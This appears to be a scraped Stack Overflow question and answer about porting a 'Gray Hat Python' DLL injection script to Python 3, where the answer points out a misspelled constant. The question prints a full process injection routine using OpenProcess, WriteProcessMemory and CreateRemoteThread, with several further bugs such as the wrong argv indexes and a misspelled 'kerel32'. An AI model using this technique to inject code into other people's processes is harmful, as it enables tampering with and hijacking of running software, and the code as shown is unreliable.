'converting python 2 to python 3('PROCESS_ALL_ACCESS' is not defined)

Here is my code that isn't working. I do not know how to define it? ('PROCESS_ALL_ACCESS' is not defined)

import sys
from ctypes import *

PAGE_READWRITE = 0x04
PROCESS_ALL_ACCES = ( 0x000F0000 | 0x00100000 | 0xFFF )
VIRTUAL_MEM = ( 0x1000 | 0x2000 )

kernel32 = windll.kernel32
pid = sys.argv[0]
dll_path = sys.argv[1:]
dll_len = len(dll_path)

# Get a handle to the process we are injecting into.
h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) )

if not h_process:

    print("[*] Couldn't acquire a handle to PID: %s") % pid
    sys.exit(0)

# Allocate some space for the DLL path
arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL_MEM,
                                      PAGE_READWRITE)

# Write the DLL path into the allocated space
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len,
                            byref(written))

# We need to resolve the address for LoadLibraryA
h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")
h_loadlib = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA")

# Now we try to create the remote thread, with the entry point set
# to LoadLibraryA and a pointer to DLL path as its single parameter
thread_id = c_ulong(0)

if not kerel32.CreateRemoteThread(h_process,
                                 None,
                                 0,
                                 h_loadlib,
                                 arg_address,
                                 0,
                                 byref(thread_id)):

    print("[*] Failed to inject the DLL. Exiting.")
    sys.exit(0)

print("[*] Temote thread with ID 0x%08x created.") % thread_id.value

I Keep on getting this error 'PROCESS_ALL_ACCESS' in alot of my code i'm converting from "Gray Hat Python"

File "C:\Python\Python36-32\dll_injector.py", line 14, in <module>
h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) )
NameError: name 'PROCESS_ALL_ACCESS' is not defined


Solution 1:[1]

I don't know if you're still trying to solve this, but you have a spelling error.

In your 5th line, you have this:

PROCESS_ALL_ACCES = ( 0x000F0000 | 0x00100000 | 0xFFF )

You're missing an S

Sources

This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.

Source: Stack Overflow

Solution Source
Solution 1 Crumblez